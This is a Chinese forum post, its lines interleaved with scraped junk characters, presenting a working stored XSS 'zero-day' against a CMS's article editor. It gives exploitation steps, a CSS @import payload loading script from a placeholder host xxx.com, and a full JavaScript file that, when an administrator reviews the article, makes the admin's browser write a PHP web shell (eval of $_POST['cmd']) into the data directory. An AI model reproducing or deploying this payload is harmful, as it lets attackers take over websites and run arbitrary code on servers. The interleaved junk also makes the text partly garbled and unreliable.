<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
4 W6 L4 A1 h) X+ H+ A为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)% N- {6 ~3 I7 V. x/ }1 w9 B+ Q
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
6 H# x2 z c V) g下面说说利用方法。. s' o* [8 l& v7 q" q& e
条件有2个:
; o* x' L2 B* ]) n" b2 f& k) s1.开启注册
6 Y6 ^$ H1 u+ K1 v2.开启投稿
; s" Q1 b9 ^5 x2 L+ t$ X/ T) O1 i注册会员----发表文章
3 N$ ]$ x7 u2 L内容填写:
% R: C! H7 g7 N8 d" d. {- w! q5 o7 V复制代码- D V5 P& A2 B
<style>@im\port'\http://xxx.com/xss.css';</style>
( C, F( l( M* \: t: o8 a新建XSS.Css `- F5 [* T: w' X" V/ \$ N& v
复制代码
6 U( [, M [+ U, _.body{( Q$ D, n( G1 W& E, S7 k |0 j% l$ v
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }) t. [2 b3 F( O2 ~; ^8 f
新建xss.js 内容为5 h2 `3 h( B1 I1 c1 [: N* D
复制代码- O5 U& a7 ? V- |0 h. a% F
1.var request = false;0 l: {- A! y* V5 f' N
2.if(window.XMLHttpRequest) {, ^, K* B5 W2 n
3.request = new XMLHttpRequest();: A+ u2 Y; c" O8 E' s
4.if(request.overrideMimeType) { x& [5 J) t' p6 H: H2 k u
5.request.overrideMimeType('text/xml');
, u* S0 Z: _4 U n5 F2 K4 b6.}, f, z/ i Z6 N: R! V
7.} else if(window.ActiveXObject) {* Q3 T) d: X; Y2 {5 S
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
3 V% {8 j7 U6 O$ N3 c+ r9.for(var i=0; i<versions.length; i++) {
5 y3 U3 S8 j% F3 h' W7 ^$ e5 v10.try {
, `8 a) I. B: b& j. A" k) H4 N11.request = new ActiveXObject(versions);( x j9 D5 u( |; ^4 P
12.} catch(e) {}5 J" y. P8 x; P7 l" d
13.}
4 w$ P, B2 B2 ?. B14.}
, x7 F% X' w# x1 o, U6 d7 P; }15.xmlhttp=request;
* k6 e. W. f* ~16.function getFolder( url ){
7 ^1 \2 a- B% W. Y+ I* C# g" r& `, x17. obj = url.split('/')- `3 g+ Z& Q3 _! ~9 [4 ?
18. return obj[obj.length-2]( w! O8 L# h9 d3 A5 h
19.} W- J# }( i, B& @' q" l% e( U3 J. Y
20.oUrl = top.location.href;
, H0 K: @, B* _21.u = getFolder(oUrl);* ]& q" I& i8 J6 q& X+ O) h- f
22.add_admin();
, w, e ]0 i& F4 T23.function add_admin(){
$ a- i3 E) v9 J+ D' N. n0 u5 B4 ]24.var url= "/"+u+"/sys_sql_query.php";
0 n' V; l, v) Z& p1 y% P25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
0 H, s: b3 W4 R: |4 s26.xmlhttp.open("POST", url, true);8 U/ D) ~# e4 o1 Y$ ?
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");* y* n% b( T1 F# b
28.xmlhttp.setRequestHeader("Content-length", params.length);
' g% k( p9 R" S/ p" Y5 q) y* W29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
' V: u" S# j9 A5 S' t30.xmlhttp.send(params);# U# Y- i3 h% y, M
31.}8 o3 Q* M( |* m- L
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |